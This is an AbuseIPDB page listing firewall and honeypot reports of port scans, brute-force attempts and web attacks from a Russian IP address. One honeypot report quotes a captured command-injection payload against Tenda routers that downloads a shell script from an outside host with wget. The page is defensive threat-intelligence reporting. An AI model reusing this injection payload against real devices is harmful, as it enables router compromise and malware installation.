JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 95.105.71.239

95.105.71.239 was found in our database!

This IP was reported 46 times. Confidence of Abuse is 100%: ?

100%

ISP	JSC Ufanet
Usage Type	Fixed Line ISP
ASN	AS57128
Hostname(s)	95.105.71.239.dynamic.ufanet.ru
Domain Name	ufanet.ru
Country	🇷🇺 Russian Federation
City	Kazan, Tatarstan Republic

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 95.105.71.239

Whois 95.105.71.239

IP Abuse Reports for 95.105.71.239:

This IP address has been reported a total of 46 times from 41 distinct sources. 95.105.71.239 was first reported on August 22nd 2026, and the most recent report was 47 minutes ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇧🇷 diego	2026-08-28 05:06:29 (47 minutes ago)	[probe-168-134] 2026-08-28 04:51:14, Client: 95.105.71.239, Protocol: 6, Unauthorized activity to HT ... show more [probe-168-134] 2026-08-28 04:51:14, Client: 95.105.71.239, Protocol: 6, Unauthorized activity to HTTP: POST /action/setDebugCfg/.txt show less	Web App Attack
🇺🇸 donarev419	2026-08-28 04:18:23 (1 hour ago)	Connection to port 8089 with data transfer. Data preview: POST /action/setDebugCfg/.txt HTTP/1.1 Ho ... show more Connection to port 8089 with data transfer. Data preview: POST /action/setDebugCfg/.txt HTTP/1.1 Host: 167.253.66.144:8089 User-Agent: Mozilla/5.0 Content- show less	Port Scan Hacking
🇫🇷 Petre 21_ip	2026-08-27 18:41:40 (11 hours ago)	2026-08-27T20:41:39.364873+02:00 vmi2775508 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=00:50:56:5c:a7:cf:c ... show more 2026-08-27T20:41:39.364873+02:00 vmi2775508 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=00:50:56:5c:a7:cf:c0:69:11:b3:85:db:08:00 SRC=95.105.71.239 DST=155.133.26.57 LEN=40 TOS=0x00 PREC=0x20 TTL=51 ID=2260 PROTO=TCP SPT=62341 DPT=8081 WINDOW=16100 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇦🇹 Pingger Shikkoken	2026-08-27 16:07:35 (13 hours ago)	2026-08-27T16:07:35+00:00 iskariot kernel: AbuseIPDB-Blacklist-Dropped: IN=ens3 OUT= MAC=b6:ab:74:e6 ... show more 2026-08-27T16:07:35+00:00 iskariot kernel: AbuseIPDB-Blacklist-Dropped: IN=ens3 OUT= MAC=b6:ab:74:e6:2e:14:2c:dd:e9:13:03:d9:08:00 SRC=95.105.71.239 DST=152.53.50.28 LEN=40 TOS=0x00 PREC=0x20 TTL=49 ID=62703 PROTO=TCP SPT=62341 DPT=8083 WINDOW=16100 RES=0x00 SYN URGP=0 show less	Hacking
🇩🇪 dispaisyenterprises	2026-08-27 14:34:54 (15 hours ago)	Honeypot [fra-de-honeypot]: HTTP/1.1 request on 8081 POST /action/setDebugCfg/.txt User-Agent: Mozi ... show more Honeypot [fra-de-honeypot]: HTTP/1.1 request on 8081 POST /action/setDebugCfg/.txt User-Agent: Mozilla/5.0 POST Data: enable=1&level=1&module=x%3Bcd+%2Ftmp%3Bwget+-q+http%3A%2F%2F198.144.179.82%3A80%2F1.sh%3B%23; 8081 [1] TCP Reported by DisPaisy Enterprises (dispaisy.systems) using: https://github.com/sefinek/T-Pot-To-AbuseIPDB show less	Hacking Bad Web Bot
🇮🇹 CoreTech srl	2026-08-27 12:20:03 (17 hours ago)	[DC: IP:151.1.252.27] ntopng alert: blacklisted_server_contact,ndpi_unidirectional_traffic,tcp_no_da ... show more [DC: IP:151.1.252.27] ntopng alert: blacklisted_server_contact,ndpi_unidirectional_traffic,tcp_no_data_exchanged,connection_failed show less	Hacking
🇩🇪 xserverx.ru	2026-08-27 12:12:59 (17 hours ago)	[UFW SCAN!!!!] SRC=95.105.71.239 LEN=40 TOS=0x00 PREC=0x00 TTL=54 PROTO=TCP SPT=62341 DPT=8087 WINDO ... show more [UFW SCAN!!!!] SRC=95.105.71.239 LEN=40 TOS=0x00 PREC=0x00 TTL=54 PROTO=TCP SPT=62341 DPT=8087 WINDOW=16100 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇩🇪 Tsumugi Kotobuki	2026-08-27 09:51:08 (20 hours ago)	Port Scan on Honeypot \| Ports: 8080/HTTP-proxy \| Proto: TCP(1) \| Flags: all SYN \| TTL: 50 \| Len: 44B ... show more Port Scan on Honeypot \| Ports: 8080/HTTP-proxy \| Proto: TCP(1) \| Flags: all SYN \| TTL: 50 \| Len: 44B \| Win: 16100(1) \| rDNS: 95.105.71.239.dynamic.ufanet.ru \| F2B/ufw-honeypot@2026-08-27T09:51:08Z show less	Port Scan Hacking
🇹🇼 ashiyasayo	2026-08-27 07:02:00 (22 hours ago)	Detected tenda routers remote command execution vulnerability.	Web App Attack
🇮🇳 Mr.Singh	2026-08-26 15:30:50 (1 day ago)	NFT blocked 95.105.71.239 on 26-Aug-2026..	Port Scan Brute-Force
🇩🇪 onkeltom	2026-08-26 07:53:49 (1 day ago)	Unauthorized connection attempts	Brute-Force Hacking
🇳🇱 donarev419	2026-08-26 06:57:06 (1 day ago)	Connection to port 8087 with data transfer. Data preview: POST /action/setDebugCfg/.txt HTTP/1.1 Ho ... show more Connection to port 8087 with data transfer. Data preview: POST /action/setDebugCfg/.txt HTTP/1.1 Host: 109.110.170.76:8087 User-Agent: Mozilla/5.0 Content- show less	Port Scan Hacking
🇺🇸 LSPCCU	2026-08-26 05:15:18 (2 days ago)	TSEC Honeypot Network report. Threat score: 93/100. Categories: Port Scan, Hacking, Brute-Force, Web ... show more TSEC Honeypot Network report. Threat score: 93/100. Categories: Port Scan, Hacking, Brute-Force, Web App Attack, SSH. Honeypot: galah. Context: 95.105.71.239 classified as automated brute-force attacker targeting SSH/Telnet credentials (high confidence). show less	Port Scan Hacking Brute-Force Web App Attack SSH
🇮🇩 andrean_12	2026-08-26 03:00:24 (2 days ago)		Port Scan Web App Attack SSH
🇨🇭 Elysium Security	2026-08-26 02:03:22 (2 days ago)	Mass port scanning on a whole network	Port Scan

Showing 1 to 15 of 46 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇬🇧 193.163.125.134

🇺🇸 2400:cb00:119:1000:9743:c486:e95d:6548

🇰🇷 211.221.196.103

🇦🇷 200.81.170.142

🇺🇸 146.88.241.41

🇷🇺 89.253.59.92

🇷🇺 85.113.41.196

🇬🇧 81.19.219.238

🇺🇸 64.62.197.167

🇺🇸 52.248.42.195

🇺🇸 52.3.121.214

🇦🇹 45.39.96.56

🇬🇭 41.139.11.228

🇬🇧 35.203.210.44

🇰🇷 222.232.176.7

🇷🇺 217.149.191.246

🇰🇷 115.178.75.242

🇺🇸 71.229.1.186

🇺🇸 67.205.183.148

🇬🇧 45.43.82.180